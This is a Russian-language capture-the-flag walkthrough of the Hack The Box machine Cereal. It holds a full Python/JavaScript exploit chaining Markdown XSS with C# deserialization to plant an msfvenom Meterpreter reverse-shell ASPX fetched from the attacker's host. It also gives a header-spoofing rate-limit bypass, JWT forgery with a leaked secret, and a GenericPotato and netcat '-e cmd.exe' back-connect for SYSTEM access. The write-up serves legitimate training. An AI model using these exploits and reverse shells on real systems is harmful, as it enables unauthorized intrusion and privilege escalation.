Хакер - HTB Cereal. Сканируем сайт в обход ограничений, эксплуатируем XSS в Markdown и подделываем системную учетку Windows

Хакер - HTB Cereal. Сканируем сайт в обход ограничений, эксплуатируем XSS в Markdown и подделываем системную учетку Windows

hacker_frei

https://t.me/hacker_frei

RalfHacker 

Содержание статьи

  • Разведка
  • Сканирование портов
  • Сканирование веба
  • Точка входа
  • Закрепление
  • Локальное повышение привилегий

В этой статье мы прой­дем машину Cereal с пло­щад­ки Hack The Box. На ее при­мере я покажу, как обхо­дить X-Rate-Limit-Limit при ска­ниро­вании веб‑сай­та. Заод­но ты узна­ешь, как с помощью XSS в Markdown и десери­али­зации объ­екта С# получить уда­лен­ное выпол­нение кода. Пос­ле чего порабо­таем с тех­нологи­ей GraphQL и под­дела­ем учет­ную запись System в Windows при помощи при­виле­гии SeImpersonate Privilege.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

IP машины — 10.10.10.217, добав­ляем его в /etc/hosts.

10.10.10.217 cereal.htb

И перехо­дим к ска­ниро­ванию пор­тов:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Ре­зуль­тат работы скрип­та

В резуль­тате работы скрип­та узна­ем спи­сок откры­тых пор­тов и работа­ющих служб:

  • порт 22 (TCP) — служ­ба SSH;
  • порт 80 (HTTP) — веб‑сер­вер Microsoft IIS/10.0;
  • порт 443 (HTTPS) — веб‑сер­вер Microsoft IIS/10.0.

SSH пока что про­пус­каем, пос­коль­ку учет­ных дан­ных у нас нет. Веб‑сер­вер с 80-го пор­та перенап­равля­ет на 443-й порт. При этом в SSL-сер­тифика­те ука­зано домен­ное имя source.cereal.htb — тоже добав­ляем его в /etc/hosts.

10.10.10.217 source.cereal.htb

Сканирование веба

Те­перь выпол­няем зап­рос в бра­узе­ре, и нас перено­сит с 80-го пор­та на 443-й, затем зас­тавля­ют под­твер­дить, что мы при­нима­ем рис­ки, свя­зан­ные с безопас­ностью. Опас­ность будет про­исхо­дить как раз от нас, так что без проб­лем под­твержда­ем. И попада­ем на фор­му авто­риза­ции.

Фор­ма авто­риза­ции на сай­те cereal.htb

Ес­ли же обра­тить­ся по най­ден­ному домен­ному име­ни, то получим ошиб­ку Server Error in '/' Application.

Ошиб­ка на сай­те source.cereal.htb

Нам не дос­тупно поч­ти ничего инте­рес­ного, а зна­чит, сле­дует при­бег­нуть к перебо­ру катало­гов. Для это­го есть такие прог­раммы, как dirsearchDIRB и gobuster, который я и исполь­зую, пос­коль­ку он показал себя как самый быс­трый.

Вот коман­да, которую я исполь­зовал:

gobuster dir -t 128 -u https://cereal.htb/ -k -w /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt -x php,html,aspx --timeout 30s

А вот что озна­чает каж­дый параметр:

  • dir — ска­ниро­вание дирек­торий и фай­лов;
  • -t [] — количес­тво потоков;
  • -u [] — URL-адрес для ска­ниро­вания;
  • -k — не про­верять сер­тификат;
  • -w [] — сло­варь для перебо­ра;
  • --timeout [] — вре­мя ожи­дания отве­та;
  • -x [] — искать фай­лы со сле­дующи­ми рас­ширени­ями (ука­зыва­ем ASPX, пос­коль­ку целевой веб‑сер­вер работа­ет на Microsoft IIS).

Но при попыт­ке переб­рать скры­тые катало­ги на сай­те cereal.htb мы получа­ем бан, что может озна­чать наличие WAF. Давай про­верим, так ли это. Для это­го отпра­вим зап­рос на авто­риза­цию и перех­ватим его в Burp, пос­ле чего перенап­равим в Repeater (ком­бинация Ctrl + R) и пос­мотрим ответ.

Зап­рос в Burp Repeater

В отве­те видим заголов­ки X-Rate-Limit-Limit и X-Rate-Limit-Remaining. Дан­ные заголов­ки сооб­щают, что на пять минут у нас оста­лось 149 зап­росов. Мож­но поп­робовать обой­ти огра­ниче­ние, вста­вив в зап­рос сле­дующие заголов­ки:

  • X-Originating-IP: 127.0.0.1
  • X-Forwarded-For: 127.0.0.1
  • X-Remote-IP: 127.0.0.1
  • X-Remote-Addr: 127.0.0.1
  • X-Client-IP: 127.0.0.1
  • X-Real-Ip: 127.0.0.
  • X-Host: 127.0.0.1
  • X-Forwared-Host: 127.0.0.1

Из это­го сра­ботал X-Real-Ip: если добавить этот заголо­вок, то в отве­те будут отсутс­тво­вать хедеры X-Rate-Limit-Limit и X-Rate-Limit-Remaining.

Зап­рос в Burp Repeater с исполь­зовани­ем заголов­ка X-Real-Ip

Ска­ниру­ем пов­торно, уже с исполь­зовани­ем X-Real-Ip (опция -H), и стал­кива­емся с дру­гой проб­лемой: сер­вер на зап­росы несущес­тву­ющих стра­ниц не отве­чает кодом ошиб­ки, а радос­тно воз­вра­щает 200 («Успешный резуль­тат»).

gobuster dir -t 128 -u https://cereal.htb/ -k -w /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt -x php,html,aspx --timeout 30s -H 'X-Real-Ip: 127.0.0.1' --wildcard

В таком слу­чае сто­ит выб­рать дру­гой кри­терий оцен­ки, к при­меру раз­мер отве­та в бай­тах — для сущес­тву­ющей и несущес­тву­ющей стра­ницы он будет раз­ным. Для ска­ниро­вания возь­мем ffuf, пос­коль­ку он уме­ет исклю­чать из вывода отве­ты в зависи­мос­ти от их раз­мера (опция -fs).

ffuf -H 'X-Real-Ip: 127.0.0.1' -w /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt -u https://cereal.htb/FUZZ -fs 1948

Ре­зуль­тат ска­ниро­вания катало­гов с помощью ffuf

На­ходим толь­ко одну стра­ницу, которая пред­положи­тель­но дол­жна при­нимать опре­делен­ные парамет­ры. Для ска­ниро­вания дру­гого сай­та, где нам встре­тилась ошиб­ка, исполь­зуем gobuster, бла­го там нет никаких бло­киров­щиков.

gobuster dir -t 128 -u https://source.cereal.htb/ -k -w /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt -x php,html,aspx --timeout 30s

Ре­зуль­тат ска­ниро­вания катало­гов с помощью ffuf

Нам попал­ся каталог .git, а это зна­чит, что мы можем попытать­ся ска­чать весь репози­торий.

ТОЧКА ВХОДА

Для заг­рузки репози­тори­ев я обыч­но исполь­зую пакет скрип­тов dvcs-ripper. Запус­каем rip-git со сле­дующи­ми аргу­мен­тами:

  • -s — не про­верять сер­тификат;
  • -v — вес­ти логиро­вание;
  • -u — URL репози­тория.

./rip-git.pl -s -v -u https://source.cereal.htb/.git/

Ре­зуль­тат ска­ниро­вания Git-репози­тория

Да­вай гля­нем исто­рию ком­митов. Для ана­лиза и раз­бора репози­тори­ев Git я обыч­но исполь­зую Gitk. Прос­матри­вая код Services/UserService.cs, находим сек­рет JWT, а так­же дан­ные, из которых фор­миру­ется JWT, — это ID поль­зовате­ля и дата через семь дней.

Код Services/UserService.cs (ключ JWT)
Код Services/UserService.cs (фор­мирова­ние JWT)

JSON Web Token сос­тоит из трех час­тей: заголов­ка (header), полез­ной наг­рузки (payload) и под­писи. Заголо­вок и полез­ная наг­рузка пред­став­ляют собой объ­екты JSON, а наг­рузка может быть любой — это имен­но те кри­тичес­кие дан­ные, которые переда­ются при­ложе­нию. У заголов­ка есть сле­дующие поля:

  • alg — алго­ритм, исполь­зуемый для под­писи/шиф­рования. Явля­ется обя­затель­ным клю­чом;
  • typ — тип токена. Это поле дол­жно иметь зна­чение JWT;
  • cty — тип содер­жимого.

Тре­тий эле­мент вычис­ляет­ся на осно­вании пер­вых двух и зависит от выб­ранно­го алго­рит­ма. Токены могут быть переко­диро­ваны в ком­пак­тное пред­став­ление: к заголов­ку и полез­ной наг­рузке при­меня­ется алго­ритм кодиро­вания Base64-URL, пос­ле чего добав­ляет­ся под­пись и все три эле­мен­та раз­деля­ются точ­ками. Вот при­мер токена, взя­тый из Википе­дии.

При­мер струк­туры JWT

Поп­робу­ем сге­нери­ровать себе токен. Для это­го нам понадо­бит­ся либо при­ложе­ние jwt_tool, либо сер­вис jwt.io. Я исполь­зовал jwt_tool. Так как с заголов­ком все ясно, давай раз­берем­ся с дан­ными: ключ name будет содер­жать иден­тифика­тор 1, а ключ exp — текущую дату плюс семь дней.

date -d "+7 days" +%s

echo -n '{"name": "1", "exp":[дата]}' | base64 -w0 ; echo

echo -n '{"alg": "HS256", "typ":"JWT"}' | base64 -w0 ; echo

python3 jwt_tool.py -b -S hs256 -p 'secretlhfIH&FY*#oysuflkhskjfhefesf' [заголовок].[данные].

Ге­нери­рова­ние JWT

У нас есть токен для дос­тупа, но стра­ница requests тре­бует парамет­ры в фор­мате JSON, о чем сви­детель­ству­ют класс Request в фай­ле Models/Request.cs и фун­кция requestCereal из фай­ла ClientApp/src/_services/request.service.js.

Класс Request
Фун­кции requestCereal и getCerealRequests

Ана­лизи­руя исходни­ки далее, узна­ем и сами парамет­ры из фай­ла ClientApp/src/AdminPage/AdminPage.jsx.

Фун­кция render

Так, параметр json содер­жит в себе дру­гие парамет­ры в фор­мате JSON. Нам нуж­но передать titledescriptioncolor и flavor. Но, что важ­нее, мы можем экс­плу­ати­ровать XSS в Markdown:

[a](javascript:eval('evil code'))

А при обра­щении с прис­воен­ным id у нас при­мут сери­али­зован­ные дан­ные, о чем говорят метод Get из фай­ла Controllers/RequestsController.cs и DownloadHelper.cs из фай­ла DownloadHelper.cs.

Ме­тод Get

На­ходим спо­соб заг­рузить файл на сер­вер. Для это­го нуж­но задать URL фай­ла и путь для его сох­ранения.

Класс DownloadHelper

ЗАКРЕПЛЕНИЕ

Да­вай соберем все воеди­но:

  1. Есть XSS в Markdown, что поз­воля­ет выпол­нить код на JavaScript.
  2. Этот код на JS дол­жен получить ID и затем передать сери­али­зован­ные дан­ные.
  3. Есть класс DownloadHelper, который заг­ружа­ет файл на диск. Его нуж­но сери­али­зовать и передать в качес­тве дан­ных. Перемен­ные это­го клас­са дол­жны ука­зывать URL фай­ла на нашем хос­те и путь к сох­ранению в дирек­торию uploads.
  4. На сво­ем веб‑сер­вере раз­меща­ем любой шелл на ASPX, который будет заг­ружен на уда­лен­ный хост, что даст нам уда­лен­ное выпол­нение кода (RCE).

Экс­пло­ит я буду писать на Python 3. Сна­чала наб­роса­ем «обо­лоч­ку». Сра­зу нуж­но под­клю­чить InsecureRequestWarning для отклю­чения про­вер­ки сер­тифика­та, ука­зать URL и JWT, а перемен­ную, которая содер­жит код на JS, пока оста­вим пус­той. Кодиру­ем этот скрипт в Base64 и отправ­ляем парамет­ры в фор­мате JSON. В качес­тве наг­рузки переда­ем фун­кцию eval, в которой будет декоди­ровать­ся и выпол­нять­ся основной код на JS.

import requests

from urllib3.exceptions import InsecureRequestWarning

import base64

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

URL = 'https://cereal.htb/requests'

jwt = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMSIsImV4cCI6MTYxMjYzNTYzOX0.Po0faLvaEqnCJFk7

js = ''

js_payload = base64.b64encode(js.encode('utf-8'))

data = {'json': '{"title":"[a](javascript: eval(atob(%22' + js_payload.decode('utf-8') + '%22%29%29)", "

headers = {'Authorization': 'Bearer ' + jwt}

r = requests.post(URL, headers=headers, json=data, verify=False)

print(r.text)

Те­перь сде­лаем JS-наг­рузку. В ней мы будем выпол­нять зап­рос для получе­ния ID и еще один пов­торный зап­рос — для отправ­ки дан­ных. Этот код дол­жен быть ука­зан выше, в перемен­ной js.

var jwt = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMSIsImV4cCI6MTYxMjYzNTYzOX0.Po0faLvaEqnCJFk7UDmYkb6V4v7YmuqQmxjXaG1MPk0';

var targeturl = 'https://cereal.htb/requests';

var req = new XMLHttpRequest;

var cs_payload = JSON.stringify({"json": ''});

req.onreadystatechange = function() {

if (req.readyState == 4) {

var id = JSON.parse(this.responseText).id;

req2 = new XMLHttpRequest;

req2.open('GET', targeturl + "/" + id, false);

req2.setRequestHeader("Authorization", "Bearer " + jwt);

req2.send();

}

}

req.open('POST', targeturl, false);

req.setRequestHeader("Authorization", "Bearer " + jwt);

req.setRequestHeader('Content-type', 'application/json');

req.send(cs_payload);

Се­риали­зован­ный класс, содер­жащий URL фай­ла на нашем сер­вере и путь для заг­рузки на уда­лен­ном сер­вере, будет выг­лядеть сле­дующим обра­зом.

{"$type":"Cereal.DownloadHelper, Cereal","URL":"http://10.10.14.20/r.aspx","FilePath":"C:/inetpub/source/uploads/r.aspx"}

В качес­тве шел­ла будем исполь­зовать заг­рузчик aspx из Meterpreter, который мы сге­нери­руем с помощью msfvenom. В качес­тве парамет­ров ука­зыва­ем наг­рузку, локаль­ный адрес и порт, а так­же фор­мат — aspx.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.20 LPORT=4321 -f aspx -o r.aspx

В текущей дирек­тории акти­виру­ем прос­той веб‑сер­вер — python3.

sudo python3 -m http.server 80

И в дру­гом тер­минале запус­каем лис­тенер Metasploit.

msfconsole

handler -p windows/x64/meterpreter/reverse_tcp -H 10.10.14.20 -P 4321

За­пуск лис­тенера msfconsole

Ни­же при­веду пол­ный код экс­пло­ита. Пос­ле его выпол­нения спус­тя некото­рое вре­мя в логах веб‑сер­вера обна­ружим заг­рузку шел­ла.

import requests

from urllib3.exceptions import InsecureRequestWarning

import base64

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

URL = 'https://cereal.htb/requests'

jwt = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMSIsImV4cCI6MTYxMjYzNTYzOX0.Po0faLvaEqnCJFk7UDmYkb6V4v7YmuqQmxjXaG1MPk0'

js = """var jwt = ‘eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMSIsImV4cCI6MTYxMjYzNTYzOX0.Po0faLvaEqnCJFk7UDmYkb6V4v7YmuqQmxjXaG1MPk0';

var targeturl = 'https://cereal.htb/requests';

var req = new XMLHttpRequest;

var cs_payload = JSON.stringify({"json": '{"$type":"Cereal.DownloadHelper, Cereal","URL":"http://10.10.14.20/r.aspx","FilePath":"C:/inetpub/source/uploads/r.aspx"}'});

req.onreadystatechange = function() {

if (req.readyState == 4) {

var id = JSON.parse(this.responseText).id;

req2 = new XMLHttpRequest;

req2.open('GET', targeturl + "/" + id, false);

req2.setRequestHeader("Authorization", "Bearer " + jwt);

req2.send();

}

}

req.open('POST', targeturl, false);

req.setRequestHeader("Authorization", "Bearer " + jwt);

req.setRequestHeader('Content-type', 'application/json');

req.send(cs_payload);"""

js_payload = base64.b64encode(js.encode('utf-8'))

data = {'json': '{"title":"[a](javascript: eval(atob(%22' + js_payload.decode('utf-8') + '%22%29%29)", "flavor":"a", "color":"#000", "description":"a"}'}

headers = {'Authorization': 'Bearer ' + jwt}

r = requests.post(URL, headers=headers, json=data, verify=False)

print(r.text)

Вы­пол­нение экс­пло­ита
Лог веб‑сер­вера Python

Наш файл ока­зыва­ется на сер­вере, и при обра­щении к нему мы сра­зу получим сес­сию Metasploit, при­чем сра­зу от име­ни поль­зовате­ля.

По­луче­ние сес­сии Metasploit и фла­га поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

По­лучив шелл, пер­вым делом обра­щаем вни­мание на при­виле­гии текуще­го поль­зовате­ля. У него вклю­чена SeImpersonatePrivilege — пра­во «оли­цет­ворять кли­ента пос­ле про­вер­ки под­линнос­ти». Как говорит Microsoft:

Прис­воение поль­зовате­лю пра­ва «Оли­цет­ворять кли­ента пос­ле про­вер­ки под­линнос­ти» раз­реша­ет прог­раммам, запущен­ным от име­ни дан­ного поль­зовате­ля, оли­цет­ворять кли­ента. Исполь­зование дан­ного парамет­ра пре­дот­вра­щает оли­цет­ворение неав­торизо­ван­ными сер­верами кли­ентов, под­клю­чающих­ся к этим сер­верам с помощью про­цедур RPC или име­нован­ных каналов.

Дру­гими сло­вами, эта при­виле­гия поз­воля­ет ими­тиро­вать любой токен, дес­крип­тор которо­го мы смо­жем получить.

При­виле­гии текуще­го поль­зовате­ля

Это явный век­тор повыше­ния при­виле­гий! Для это­го обыч­но исполь­зует­ся одна из прог­рамм серии Potato, а какая имен­но — зависит от исполь­зуемых служб и про­токо­лов. В спис­ке активных пор­тов най­дем 8080-й, работа­ющий в кон­тек­сте System.

Спи­сок прос­лушива­емых пор­тов

Ско­рее все­го, это HTTP, поэто­му для про­вер­ки будем тун­нелиро­вать тра­фик это­го пор­та на свой локаль­ный. Meterpreter поз­воля­ет нам это сде­лать. Теперь все зап­росы на наш порт 8888 будут пере­адре­сова­ны на уда­лен­ный 8080-й (поз­же про­изой­дет сброс соеди­нения, и новый порт будет 8889-м). Заходим на localhost:8888, и нас встре­чает какая‑то таб­лица.

portfwd add -l 8888 -p 8080 -r 127.0.0.1

Сайт, работа­ющий на локаль­ном пор­те 8080 сер­вера

Прос­матри­вая исходный код на пред­мет исполь­зуемых тех­нологий, обна­ружи­ваем GraphQL, точ­нее, исполь­зование метода allPlants для получе­ния и встав­ки дан­ных в таб­лицу.

Ис­ходный код сай­та

В двух сло­вах, GraphQL — это язык зап­росов, который кли­ент­ские при­ложе­ния час­то исполь­зуют для работы с дан­ными. Про­буем выпол­нить зап­рос раз­ными метода­ми HTTP и сра­зу опре­деля­ем, что изна­чаль­но тре­бует­ся POST-параметр.

Оп­ределе­ние метода и наличия парамет­ров зап­роса
Вы­пол­нение зап­роса методом POST с переда­чей пус­тых дан­ных

C GraphQL свя­зано такое понятие, как «схе­ма», — это то, что поз­воля­ет орга­низо­вывать соз­дание, чте­ние, обновле­ние и уда­ление дан­ных в при­ложе­нии. Давай получим дан­ные __schema и отфиль­тру­ем име­на типов, это мож­но сде­лать, передав в парамет­ре query зап­рос {__schema{types{name}}}"}.

curl -X POST -H "Content-Type: application/json" --data-binary '{"query":"{__schema{types{name}}}"}' http://localhost:8888/api/graphql | grep name ; echo

По­луче­ние дан­ных __schema

В отве­те находим исполь­зуемый для зап­роса тип Query и для встав­ки — тип Mutation. Теперь сто­ит прос­мотреть исполь­зуемые в них поля. Для это­го будем зап­рашивать не name (как в прош­лом зап­росе), а name fields{name}.

curl -X POST -H "Content-Type: application/json" --data-binary '{"query":"{__schema{types{name fields{name}}}}"}' http://localhost:8889/api/graphql | jq

По­луче­ние наз­вания полей

Нас боль­ше все­го инте­ресу­ет Mutation, так как он поз­воля­ет манипу­лиро­вать дан­ными. Он име­ет три метода: haltProductionresumeProduction и updatePlant. Взгля­нем на аргу­мен­ты каж­дого метода. В зап­росе ука­зыва­ем тип Mutation (__type(name: "Mutation")) и зап­рашива­ем имя метода и его аргу­мен­ты ({name fields{name args{name}}}).

curl -X POST -H "Content-Type: application/json" --data-binary '{"query":"{__type(name: "Mutation"){name fields{name args{name}}}}"}' http://localhost:8889/api/graphql |jq

Ар­гумен­ты каж­дого метода

Вот это уже инте­рес­но. Метод updatePlant при­нима­ет параметр id целево­го объ­екта для изме­нения и URL, отку­да, видимо, будут получе­ны дан­ные. То есть мы можем спро­воци­ровать ини­цииро­вание кли­ентом зап­роса на ука­зан­ный адрес. При этом у нас есть опас­ная при­виле­гия, с помощью которой мы можем изоб­ражать кли­ента (в дан­ном слу­чае System)! Для выпол­нения такой ата­ки нам понадо­бит­ся GenericPotato. Заг­рузим его на хост с помощью коман­ды upload. Еще заг­рузим netcat, с помощью которо­го выпол­ним бэк­коннект на свой хост.

Заг­рузка необ­ходимо­го прог­рам­мно­го обес­печения на уда­лен­ный хост

А теперь запус­тим. Он дол­жен прос­лушивать порт 7777, куда обра­тит­ся кли­ент, и выпол­нить бэк­шелл с netcat. Уви­дим сооб­щение, что ука­зан­ный порт прос­лушива­ется.

GenericPotato.exe -p "C:\Users\sonny\Documents\nc64.exe" -a "[ip] [port] -e cmd.exe" -e HTTP -l 7777

За­пуск GenericPotato

Ак­тивиру­ем на сво­ем локаль­ном хос­те лис­тенер. Я советую исполь­зовать rlwrap.

sudo apt install rlwrap

rlwrap nc -lvp 5432

Вы­пол­ним зап­рос к GraphQL на изме­нение дан­ных, где ука­жем в качес­тве sourceURL порт, прос­лушива­емый GenericPotato.

curl -k -X "POST" -H "Content-Type: application/json" --data-binary '{"query":"mutation{updatePlant(plantId:2, version:2, sourceURL:"http://localhost:7777")}"}' 'http://localhost:8889/api/graphql'

И тут же получа­ем шелл от име­ни System.

Флаг адми­нис­тра­тора

Ма­шина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei

Report Page